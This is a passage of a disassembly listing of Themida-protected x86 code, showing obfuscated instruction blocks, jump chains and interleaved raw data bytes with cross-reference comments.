loc_56A80B:				; CODE XREF: Themida_:00563B6Fj
		mov	esp, [esp]
		jmp	loc_56E43E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 505B2434h, 0FF2516E9h, 72C681FFh, 81390617h,	1C0E5AEEh
		dd 808EE934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A82E:				; CODE XREF: Themida_:0056215Cj
		push	eax
		push	ebx
		mov	bh, 0B0h
		not	bh
		push	eax
		mov	ah, 0D8h
		jmp	loc_55DD11
; ---------------------------------------------------------------------------


loc_56A83C:				; CODE XREF: Themida_:00566F1Fj
		mov	edx, 3F0E761Fh
		mov	esi, 0DC4EA361h
		add	esi, edx
		pop	edx
		jmp	loc_56CB7D
; ---------------------------------------------------------------------------


loc_56A84E:				; CODE XREF: Themida_:0055E60Fj
		shl	eax, 1
		push	edi
		jmp	loc_56FA84
; ---------------------------------------------------------------------------


loc_56A856:				; CODE XREF: Themida_:005617EDj
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	6F5h
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_56A551
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815F24h, 4, 8904EC83h, 0CDB82404h, 0C12A5525h, 0FEE902E0h
		dd 89000056h, 405E0h, 0B9510000h, 4, 8759C829h,	685C2404h
		dd 54A3h, 0FFB67CE9h, 243489FFh, 7129BD55h, 0CD8159DBh
		dd 54CB438Fh, 0BD9CC581h, 0EE89BD13h, 1967E9h, 0C2815A00h
		dd 4, 3304C283h, 2BE92414h, 5AFFFF21h, 0FF2D69E9h, 2C483FFh
		dd 0E9FFC780h, 0FFFFBADAh, 0FFFFFF2Dh, 402D0DFFh, 0D8F748D3h
		dd 4BD468h, 241C8900h, 552C7DBBh, 34FBE940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A912:				; CODE XREF: Themida_:00566249j
		pop	ebx
		push	ecx
		jmp	loc_568FA8
; ---------------------------------------------------------------------------


loc_56A919:				; CODE XREF: Themida_:005649D4j
		pop	ebx
		jmp	loc_55BE35
; ---------------------------------------------------------------------------


loc_56A91F:				; CODE XREF: Themida_:0056D1A2j
		pop	ebx
		push	edx
		mov	edx, esp
		push	72E5h
		mov	[esp], eax
		mov	eax, 58AF2B22h
		and	eax, 71F27068h
		and	eax, 0DD863E4h
		push	edx
		mov	edx, 40DF5E27h
		push	edx
		mov	edx, 86906D2h
		jmp	loc_566D95
; ---------------------------------------------------------------------------
		db 66h
		dd 0D4B4E951h, 0C381FFFFh, 4B9E1EEAh, 5524148Bh, 242C8B54h
		dd 57FBE9h, 241C8900h, 4BBh, 5BDF0100h,	5C243C87h, 0E9BC281h
		dd 0C28132E4h, 35946285h, 0EA81EA01h, 35946285h, 0E9BEA81h
		dd 98E932E4h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A993:				; CODE XREF: Themida_:00562861j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5607CA
; ---------------------------------------------------------------------------


loc_56A99C:				; CODE XREF: Themida_:0055EE9Fj
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_564A28
; ---------------------------------------------------------------------------
		db 9
		dd 34FF1C57h, 24148B24h, 0E904C483h, 0FFFFD866h
; ---------------------------------------------------------------------------


loc_56A9BC:				; CODE XREF: Themida_:00563052j
		xor	eax, 5BBE3C86h
		add	ebx, eax
		pop	eax
		sub	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_5625CD
; ---------------------------------------------------------------------------


loc_56A9D2:				; CODE XREF: Themida_:0056EDABj
		mov	esi, [esp]
		jmp	loc_56AA76
; ---------------------------------------------------------------------------


loc_56A9DA:				; CODE XREF: Themida_:00561162j
		push	139Dh
		mov	[esp], edi
		push	7B8236A3h
		pop	edi
		sub	edi, 1
		sub	edi, 7826E711h
		jmp	loc_569D92
; ---------------------------------------------------------------------------
		dw 0CD68h
		dd 8900000Ch, 0E953240Ch, 0FFFF4AC4h
; ---------------------------------------------------------------------------


loc_56AA04:				; CODE XREF: Themida_:00564CC5j
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		neg	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 53183956h
		and	ecx, eax
		jmp	loc_563925
; ---------------------------------------------------------------------------


loc_56AA23:				; CODE XREF: Themida_:0056B3B4j
		or	ch, dl
		pop	edx
		and	ch, 52h
		push	eax
		mov	al, 0ACh
		jmp	loc_56E26B
; ---------------------------------------------------------------------------
		db 56h,	0FFh, 74h
		dd 8F5E0424h, 0E95C2404h, 2B9Ch
; ---------------------------------------------------------------------------


loc_56AA40:				; CODE XREF: Themida_:0056A6C8j
		push	ebp
		mov	ebp, 1
		jmp	loc_55DD7D
; ---------------------------------------------------------------------------
		db 66h
		dd 0E916FC68h, 0FFFFF02Bh
; ---------------------------------------------------------------------------


loc_56AA54:				; CODE XREF: Themida_:0055E472j
		shr	eax, 0Ah
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		xchg	ebx, ebp
		not	ebx
		jmp	loc_56BFA1
; ---------------------------------------------------------------------------
		dd 524248Bh, 4,	0A5A5E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AA76:				; CODE XREF: Themida_:0056A9D5j
		add	esp, 4
		shr	eax, 0Ch
		jmp	loc_56D64E
; ---------------------------------------------------------------------------
		dd 4B84C181h, 48B4692h,	0A98CE924h, 0F281FFFFh,	3B091820h
		dd 6A53EA81h, 45E9224Bh, 29000052h, 0C6E95DEBh,	1FFFF42h
		dd 1C5E05C8h, 0BF577D2Fh, 4ACA011Eh, 81474F4Fh,	445884E7h
		dd 0B3EF810Ah, 19E4092h, 3806E9F8h, 34FF0000h, 2434FF24h
		dd 4C48358h, 6804C483h,	0DC7h, 0E9241C89h, 0FFFF1CE8h
; ---------------------------------------------------------------------------


loc_56AAE8:				; CODE XREF: Themida_:0056E51Cj
		pop	edx
		shr	eax, 2
		jmp	loc_55DE4A
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C240CFFh, 0FF0A58E9h, 5B1268FFh, 0C890000h,	57E18924h
		dd 0C469B7BFh, 4905E916h, 0CD31FFFFh, 0CD31E931h, 6FB85056h
		dd 51F3A68h, 0EBB3C2B0h, 8158C689h, 0E484CDEEh,	0A6C58139h
		dd 29328E15h, 0A6ED81F5h, 5E328E15h, 0FF7AFFE9h, 88EE88FFh
		dd 24148BF0h, 5904C483h, 8124148Bh, 4C4h, 244C8A00h, 24448804h
		dd 24048B04h, 4C481h, 0EAE90000h, 1FFFF09h, 68575BD9h
		dd 4, 0FF45ACE9h, 0E9FB31FFh, 0FFFFB5A0h
		db 0ACh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55BD35
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4EDh, 242C8700h, 0E924248Bh,	0FFFFDE55h, 0CA80BFB2h
		dd 0E3CA8002h, 0FF2460E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56ABB1:				; CODE XREF: Themida_:0056A35Bj
		add	ebx, 69B96BB9h
		jmp	loc_5656F3
; ---------------------------------------------------------------------------


loc_56ABBC:				; CODE XREF: Themida_:0056FDC2j
		pop	ebp
		jmp	loc_562838
; ---------------------------------------------------------------------------


loc_56ABC2:				; CODE XREF: Themida_:0055D1B5j
		pop	ebp
		add	ebp, 4
		push	edi
		jmp	loc_56B9D3
; ---------------------------------------------------------------------------
		db 0F6h
aHg		db 'Ñh£!',0
		align 2
		dw 489h
aSL		db '$é$L',0
		align 2


loc_56ABDE:				; CODE XREF: Themida_:0056444Dj
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 55405A2Dh
		jmp	loc_568F81
; ---------------------------------------------------------------------------
		dw 9905h
		dd 552C134Ch, 48674DBDh, 16E9453Eh
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ABFF:				; CODE XREF: Themida_:0056BE18j
		pop	ebx
		push	esi
		mov	esi, 4
		jmp	loc_56B7BE
; ---------------------------------------------------------------------------
		db 89h
		dd 3EB82404h, 255DDA30h, 2EB23A47h, 0FFED79E9h,	0C02BFFFh
		dd 0CF81603Dh, 4DB61CFCh, 0E306C781h, 0F8299240h, 2404875Fh
		dd 0FF52D5E9h, 917E9FFh, 0ED81FFFFh, 232F95C8h,	15DE831h
		dd 86858C2h, 0E900007Ah, 42Ch, 348B5D5Eh, 4C48124h, 83000000h
		dd 33E904ECh, 81FFFF43h, 92223EC1h, 0C5BF576Bh,	811FDC16h
		dd 695331C7h, 5FF90117h, 0FF3ACAE9h, 4EC83FFh, 0FF243C89h
		dd 8B042474h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		jmp	loc_561C7F
; ---------------------------------------------------------------------------
aHk		db '^hK+',0
		dw 8900h
		dd 0E0892404h, 405h, 4C08300h, 5C240487h, 0FF2D2CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56ACB9:				; CODE XREF: Themida_:00560E6Cj
		or	ebx, ebx
		jnz	loc_55CAC5
		push	ecx
		mov	ecx, esp
		jmp	loc_562337
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 4C54h, 54240489h,	0FF1601E9h, 0D1E95BFFh
		dd 55FFFF80h, 610068h, 24248900h, 4240483h, 83242C8Bh
		dd 0B95104C4h, 4, 2A60ED81h, 0CD012FE6h, 2A60C581h, 0F3E92FE6h
		dd 68FFFF69h, 68E3h, 0E9243C89h, 0FFFF2555h, 4C3835Eh
		dd 8904EC83h, 74FF241Ch, 34FF0424h, 0C4815B24h,	4, 8B24048Fh
		dd 0A30F2424h, 0E99C2404h, 0FFFF0811h, 0DB68E089h, 8900007Eh
		dd 0B4E92434h, 0BDFFFF22h, 0E03A4CB3h, 2C8BEB31h, 4C48324h
		dd 0BB3E955h, 0C481FFFFh, 4, 8106EFC1h,	7EE9E4C7h, 0FFF821FEh
		dd 96E92434h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AD7F:				; CODE XREF: Themida_:0055C657j
		add	ebp, 4
		push	edx
		push	edi
		mov	edi, esp
		jmp	loc_5689B7
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 81C3015Ah, 26742EBh,	0EC835003h, 240C8904h, 0FF5F78E9h
		dd 241C89FFh, 138AE9h, 0E3305B00h, 98E95258h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56ADB7:				; CODE XREF: Themida_:0056B3E4j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_563FF4
; ---------------------------------------------------------------------------
		dd 0E900F92Dh, 0FFC22902h, 48B2434h, 1B8DE924h,	0E9530000h
		dd 0FFFFC511h, 669E685Fh, 1C890000h, 2474FF24h,	2434FF04h
		dd 51241C8Bh, 5535E9h, 242C8900h, 8B2414F7h, 0C481242Ch
		dd 4, 0B850EDD1h, 597B3BF9h, 2404FF50h,	9A354858h, 9777947Dh
		dd 2414F757h, 0FF64B0E9h, 0B60F66FFh, 9C5166C8h, 0FF0724E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56AE31:				; CODE XREF: Themida_:00562FEFj
		sub	ebp, 57162B97h
		add	ebp, esi
		add	ebp, 57162B97h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ebp, edx
		push	7575h
		mov	[esp], ebx
		mov	ebx, 7F603909h
		jmp	loc_566652
; ---------------------------------------------------------------------------
		dw 6664h
		dd 0E902B60Fh, 0FFFF8893h, 0E90AC180h, 0FFFF9964h, 0A63E953h
		dd 0BB530000h, 4, 0FFC2A5E9h, 83E289FFh, 0CFE904ECh, 1FFFF3Bh
		dd 93E981F9h, 0E9275F08h, 0FFFF5C3Bh
; ---------------------------------------------------------------------------


loc_56AE94:				; CODE XREF: Themida_:0056238Ej
		add	edx, ecx
		pop	ecx
		neg	edx
		xor	edx, 0C0247A1h
		and	edi, edx
		jmp	loc_563E1A
; ---------------------------------------------------------------------------
		dw 0AAE9h
		dd 0D1FFFF06h, 8AC781EFh, 0E913517Fh, 0FFFF839Dh
; ---------------------------------------------------------------------------


loc_56AEB8:				; CODE XREF: Themida_:0056FA8Dj
		mov	esi, 50BA6AD1h
		mov	eax, 73753590h
		add	eax, esi
		jmp	loc_56E69B
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0
		dd 68FFFFD7h, 2347h, 0E9241C89h, 2493h
; ---------------------------------------------------------------------------


loc_56AEDC:				; CODE XREF: Themida_:005629FFj
		mov	ebp, ebx
		pop	ebx
		push	ebp
		push	edx
		mov	edx, 3A0505ABh
		jmp	loc_56B7B5
; ---------------------------------------------------------------------------
		db 57h
		dd 9B4FFFBFh, 8BFE3133h, 0C483243Ch, 0EC815604h, 4, 8B241C89h
		dd 0C4832434h, 241C8B04h, 8304C483h, 0DE8701C3h, 15CFF681h
		dd 0EE8120CBh, 2969591Fh, 0E95EF301h, 0FFFF8AAEh, 8702C383h
		dd 248B241Ch, 89666424h, 61BE902h, 0C481FFFFh, 4, 657CE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AF46:				; CODE XREF: Themida_:00560490j
		dec	ebx
		push	esi
		mov	esi, 52FF689Ah
		neg	esi
		neg	esi
		dec	esi
		sub	esi, 534747C0h
		jmp	loc_56287E
; ---------------------------------------------------------------------------


loc_56AF5D:				; CODE XREF: Themida_:0056C690j
		xor	ebp, [esp]
		pop	esp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		dd 6F095E5Ch, 0A72FE91Ch, 0E95CFFFFh, 0FFFF05CDh, 582434FFh
		dd 0AA04E957h, 5450FFFFh, 0F0B95158h, 814A1B7Bh, 524693E9h
		dd 35C9814Bh, 57217F62h, 627222BFh, 573AE971h, 5059FFFFh
		dd 405E089h, 83000000h,	0D3E904C0h, 68000001h, 6F3A3810h
		dd 2E5C15Dh, 0E902E5C1h, 2D56h,	7D4385BDh, 5AED8106h, 8158762Ch
		dd 604397C5h, 0ECD8101h, 0E967C136h, 0FFFF95BEh, 0C846AF68h
		dd 0FF555D30h, 505D2404h, 46586857h, 0E95F50B3h, 0FFFFA543h
		dd 0C3C7E735h, 0CEED8195h, 2904C049h, 0CEC581C5h, 5804C049h
		dd 1193E9h, 4C08300h, 0FFD937E9h, 833BDFFh, 0C501F129h
		dd 53DDF758h, 34894BBh,	3EE94327h, 5AFFFF9Ah, 0C181F901h
		dd 22B074D4h, 5BBA525Fh, 51585B37h, 0B8BB53h, 0E6E96B76h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56B05B:				; CODE XREF: Themida_:00562EA3j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 2
		jmp	loc_57078E
; ---------------------------------------------------------------------------
		dd 2C98C581h, 5755864Bh, 223EF2BFh, 247C293Eh, 0E95E5F04h
		dd 0FFFFA57Fh, 0BE243489h, 4, 0FF3106E9h, 5BD829FFh, 3070E950h
		dd 0E5C1FFFFh, 0BA525704h, 0A322A77h, 0FFA841E9h, 81E189FFh
		dd 4C1h, 4BA5200h, 29000000h, 0C875AD1h, 24248B24h, 81242C89h
		dd 4ECh, 240C8900h, 0B8D2E952h,	8B54FFFFh, 0C481240Ch
		dd 4, 4C181h, 0E9810000h, 4, 2474FF51h,	3EE95904h
		db 18h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B0EF:				; CODE XREF: Themida_:00567478j
		push	dword ptr [esp]
		jmp	loc_569EA7
; ---------------------------------------------------------------------------


loc_56B0F7:				; CODE XREF: Themida_:005629F2j
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5680C3
; ---------------------------------------------------------------------------
aVs@7		db 'Vé@7',0
		align 2
		dw 4B9h
		dd 1000000h, 0BB5359C8h, 4, 875BD801h, 685C2404h, 2FD7h
		dd 0FF287DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B129:				; CODE XREF: Themida_:0055EF45j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	esi
		push	1850h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_55DDF5
; ---------------------------------------------------------------------------


loc_56B14B:				; CODE XREF: Themida_:00569868j
		sub	esi, 0F09180Dh
		xor	ebp, esi
		pop	esi
		or	ebp, 3C0624D1h
		dec	ebp
		add	ebp, 53D05F46h
		and	ebp, 475464F3h
		xor	ebp, 57905556h
		sub	esi, ebp
		pop	ebp
		pop	ebp
		jmp	loc_56EF94
; ---------------------------------------------------------------------------


loc_56B176:				; CODE XREF: Themida_:0056F603j
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 546F2E61h
		push	73D1h
		mov	[esp], edx
		push	ebp
		jmp	loc_56F7FC
; ---------------------------------------------------------------------------
		dw 433h
		dd 24043124h, 5C240433h, 228668h, 241C8900h, 0FA28CEB7h
		dd 81241C8Bh, 4C4h, 28BB2C00h, 56FFE9D0h, 0C281FFFFh, 965075Ch
		dd 0CAE9DA01h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B1CB:				; CODE XREF: Themida_:0056F864j
		push	edx
		jmp	loc_56EA6F
; ---------------------------------------------------------------------------
		db 81h,	2 dup(0EFh)
		dd 29CA01F8h, 8E72E9F8h, 3431FFFFh, 24343324h, 0FFFD99E9h
		dd 0E9015AFFh, 394A68h,	24148900h, 0F322D9BAh, 21C1817Ch
		dd 109812Dh, 0B253E9D1h, 0C483FFFFh, 4BE5604h, 0E9000000h
		dd 0FFFF76F4h, 5724148Bh, 0C781E789h, 4, 2D0EE9h, 94B05000h
		dd 0D0F65C24h, 3BE9522Ch, 0FFFFFF5Ah, 48B2434h,	4C48324h
		dd 81E28952h, 4C2h, 4EA8100h, 0E9000000h, 2721h
; ---------------------------------------------------------------------------


loc_56B250:				; CODE XREF: Themida_:00567570j
		pop	eax
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_56D039
; ---------------------------------------------------------------------------
aYfh		db 8,'ÏYfh',0
		align 2
		dw 3C28h
		dd 243C8A24h, 0E902C483h, 0FFFFC227h, 7472BD55h, 0DDE906C5h
		dd 0E9FFFF9Ah, 0FFFF02D1h, 2474FF53h, 48F5B04h,	0B2525C24h
		dd 55C28081h, 0FF2240E9h, 23F381FFh, 29AD50CBh,	1C8B5BD8h
		dd 5F545724h, 0FFA223E9h, 5D5B58FFh, 0FF2645E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B2B5:				; CODE XREF: Themida_:00561F76j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5627A4
; ---------------------------------------------------------------------------


loc_56B2C3:				; CODE XREF: Themida_:00560911j
		push	dword ptr [esp]
		pop	edx
		push	5E01h
		mov	[esp], edx
		jmp	loc_56FD74
; ---------------------------------------------------------------------------


loc_56B2D4:				; CODE XREF: Themida_:0056CFF2j
		mov	ecx, ebp
		pop	ebp
		add	ecx, ebx
		push	edi
		xor	dword ptr [esp], 598322B0h
		jmp	loc_55C074
; ---------------------------------------------------------------------------
		dw 0BABDh
		dd 0C13CE060h, 0E5C107EDh, 59D46803h, 3C890000h, 60CBF24h
		dd 0FD3103CEh, 0E9E8015Fh, 511Fh, 0E924048Bh, 0FFFFF7EDh
; ---------------------------------------------------------------------------


loc_56B310:				; CODE XREF: Themida_:00568626j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	ecx, ebp
		jmp	loc_565654
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4C381h, 1C870000h, 0D1015C24h, 51A2E9h
		db 0
; ---------------------------------------------------------------------------


loc_56B335:				; CODE XREF: Themida_:0056E759j
		add	ebp, ecx
		pop	ecx
		add	ebp, ebx
		jmp	loc_55B58F
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704EFh, 1C895C24h, 4EC8324h, 81242489h, 42404h, 0E95B0000h
		dd 0FFFF158Eh, 8758C701h, 315C243Ch, 8B042444h,	4CE92404h
		dd 80FFFF06h, 0D6F68CCEh, 8008E6C0h, 0EE8070C6h, 2CFDE9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B382:				; CODE XREF: Themida_:0056E2E9j
		shr	ch, 5
		sub	ch, 18h
		push	edx
		mov	dl, 0D5h
		push	cx
		mov	cl, 0BAh
		xor	dl, cl
		pop	cx
		sub	dl, 1Eh
		shr	dl, 2
		or	dl, 4Ch
		and	dl, 19h
		sub	dl, 0DEh
		push	ebx
		mov	bl, 9Bh
		or	bl, 79h
		shr	bl, 5
		or	bl, 0ECh
		xor	bl, 86h
		add	dl, bl
		pop	ebx
		jmp	loc_56AA23
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 0DFh
		dd 810AFA4Bh, 0C768BEE9h, 22D4E940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B3CA:				; CODE XREF: Themida_:00564228j
		pop	ebp
		and	edx, esi
		push	dword ptr [esp]
		pop	esi
		push	1792h
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_56ADB7
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 15AD68h, 52B1E900h, 6C810000h, 42370424h, 0BA525A2Ah
		dd 28E73520h, 8245401h,	0FF9177E9h, 3F1868FFh, 0E95E5579h
		dd 0FFFF02DCh, 4EC81h, 0C890000h, 4401B924h, 70E945F1h
		dd 66FFFFC1h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebp
		mov	ebp, 79DF49EAh
		xor	ebp, 3F2B1F26h
		jmp	loc_561E12
; ---------------------------------------------------------------------------
		dd 2474FF53h, 48F5B04h,	24248B24h, 0E935EB80h, 0FFFF82DBh
; ---------------------------------------------------------------------------


loc_56B458:				; CODE XREF: Themida_:0056D957j
		mov	ecx, esi
		pop	esi
		xor	esi, ecx
		pop	ecx
		pop	ebx
		pop	edi
		and	[edi+1Ch], esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_561912
; ---------------------------------------------------------------------------


loc_56B47E:				; CODE XREF: Themida_:0055C372j
		add	esp, 4
		add	esp, 4
		mov	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 353430D3h
		neg	esi
		shl	esi, 6
		jmp	loc_56DEF5
; ---------------------------------------------------------------------------


loc_56B4A5:				; CODE XREF: Themida_:005669C1j
		mov	ecx, esp
		add	ecx, 4
		push	esi
		jmp	loc_5650AE
; ---------------------------------------------------------------------------


loc_56B4B3:				; CODE XREF: Themida_:0055DBDDj
		pop	ebx
		push	ebp
		mov	ebp, 4CD40B34h
		jmp	loc_55C63C
; ---------------------------------------------------------------------------
		db 89h
		dd 38E95DE9h, 8BFFFFC3h, 0C4832434h, 4C48104h, 1000000h
		dd 0C5835AD5h, 74FF5504h, 8F5D0424h, 6BE92404h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B4E7:				; CODE XREF: Themida_:0056B7F6j
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	eax, [esp]
		jmp	loc_56CFF7
; ---------------------------------------------------------------------------
		dd 7F00BF57h, 0FB892763h, 0FF99E5E9h, 28A42DFFh, 0C80130E2h
		dd 0E228A405h, 0E9188930h, 0FFFFEDCEh, 53240489h, 40051EBBh
		dd 0E9585323h, 0FFFF9C1Fh
; ---------------------------------------------------------------------------


loc_56B538:				; CODE XREF: Themida_:005658A5j
		push	ecx
		mov	ecx, 135A3283h
		jmp	loc_56B60B
; ---------------------------------------------------------------------------


loc_56B543:				; CODE XREF: Themida_:00562F0Cj
		mov	ebx, 0
		add	ebx, 6C6C5C99h
		add	ebx, ecx
		jmp	loc_561028
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 33241431h, 248B2414h, 2434FF24h, 8324048Bh, 0E95304C4h
		dd 0FFFF6387h, 0E92434FFh, 0FFFF8D37h, 5304C483h, 4BBh
		dd 0F1C2E900h, 8B5BFFFFh, 92E9240Ch, 30FFFFCDh,	6BE92424h
		db 0Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B597:				; CODE XREF: Themida_:0055D2C4j
		pop	eax
		sub	al, dh
		jmp	loc_561ED0
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8B24048Fh, 94682424h, 8900000Dh, 6C682414h, 8900001Dh
		dd 0E954240Ch, 0FFFF47DEh
; ---------------------------------------------------------------------------


loc_56B5BC:				; CODE XREF: Themida_:00564F21j
		mov	ebx, esp
		jmp	loc_55DDB6
; ---------------------------------------------------------------------------


loc_56B5C3:				; CODE XREF: Themida_:00561F08j
		mov	esp, [esp]
		jmp	loc_5657EA
; ---------------------------------------------------------------------------


loc_56B5CB:				; CODE XREF: Themida_:0056FD84j
		pop	ebx
		push	757Eh
		jmp	loc_56C175
; ---------------------------------------------------------------------------


loc_56B5D6:				; CODE XREF: Themida_:0056A7EFj
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_563541
; ---------------------------------------------------------------------------
		dd 24BF5753h, 5047F21Ah, 107DE9h
		db 0
; ---------------------------------------------------------------------------


loc_56B5F5:				; CODE XREF: Themida_:00563A6Aj
		add	[ebx], esi
		pop	ebx
		pop	ecx
		jmp	loc_55E4E7
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 1942EE81h, 42E966A7h
		db 4, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B60B:				; CODE XREF: Themida_:0056B53Ej
		add	edx, ecx
		pop	ecx
		add	edx, edi
		sub	edx, 135A3283h
		push	dword ptr [edx]
		jmp	loc_565C9A
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 81h
		dd 0E1C8C4C5h, 0E9EA01FEh, 0FFFF2B75h
; ---------------------------------------------------------------------------


loc_56B62C:				; CODE XREF: Themida_:00568607j
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_561390
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 14D25966h, 0EE99C24h, 1FFFEFFh, 0D08CE9F3h
		dd 68FFFFh, 29000000h, 0E95B241Ch, 0FFFF8E2Ch, 4240483h
		dd 4C6815Eh, 51000000h,	8904EC83h, 0EC83241Ch, 0A041E904h
		dd 53ACFFFFh, 8022B151h, 0CF8811C1h, 8AC78059h,	2C5BF800h
		dd 0DC2C66h, 4EC83D8h, 0B2241489h, 5FC2807Dh, 0E95AD000h
		dd 0FFFF9339h, 25E95966h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B6A7:				; CODE XREF: Themida_:0056C991j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_562B15
; ---------------------------------------------------------------------------
		dd 0E180B2B1h, 8E9C0B7h, 0F180D9F6h, 80D1F6DEh,	0C828E7F1h
		dd 9BB75359h, 805BEF80h, 0EF80AFEFh, 5BF8003Fh,	522CD828h
		dd 0B6525166h, 0B386E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B6E6:				; CODE XREF: Themida_:005689B2j
		not	edx
		not	edx
		xor	edx, 7ACC06DFh
		jmp	loc_564C95
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 50241489h, 8904EC83h, 8CBB241Ch, 81191806h, 0AE0353CBh
		dd 0BA524335h, 12D92662h, 4211E9h
		db 0
; ---------------------------------------------------------------------------


loc_56B719:				; CODE XREF: Themida_:0056A5EBj
		pop	esi
		jmp	loc_55BCA1
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 8124048Bh,	4C4h, 24048F00h, 8124248Bh, 4ECh
		dd 241C8900h, 0FF254FE9h, 0D6C381FFh, 8907DA60h, 735DE9D9h
		dd 0C281FFFFh, 6E093416h, 31FEC281h, 0F2810279h, 78BF3DB1h
		dd 815AD331h, 6F45CDE3h, 0FAEB8170h, 0E9047324h, 0FFFF81D0h
; ---------------------------------------------------------------------------


loc_56B774:				; CODE XREF: Themida_:0055E5B2j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		jmp	loc_55E2E7
; ---------------------------------------------------------------------------
		dw 0B652h
		dd 4EC8341h, 0B2241489h, 0E91CB1E3h, 0FFFF36A3h
; ---------------------------------------------------------------------------


loc_56B794:				; CODE XREF: Themida_:005703ACj
		push	esp
		pop	ecx
		jmp	loc_56A558
; ---------------------------------------------------------------------------
		db 81h
		dd 0BCC0DDF1h, 59C8294Bh, 7205C829h, 2D31193Ah,	32267602h
		dd 0FF71A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B7B5:				; CODE XREF: Themida_:0056AEE6j
		neg	edx
		neg	edx
		jmp	loc_565299
; ---------------------------------------------------------------------------


loc_56B7BE:				; CODE XREF: Themida_:0056AC06j
		add	edi, esi
		jmp	loc_56A11D
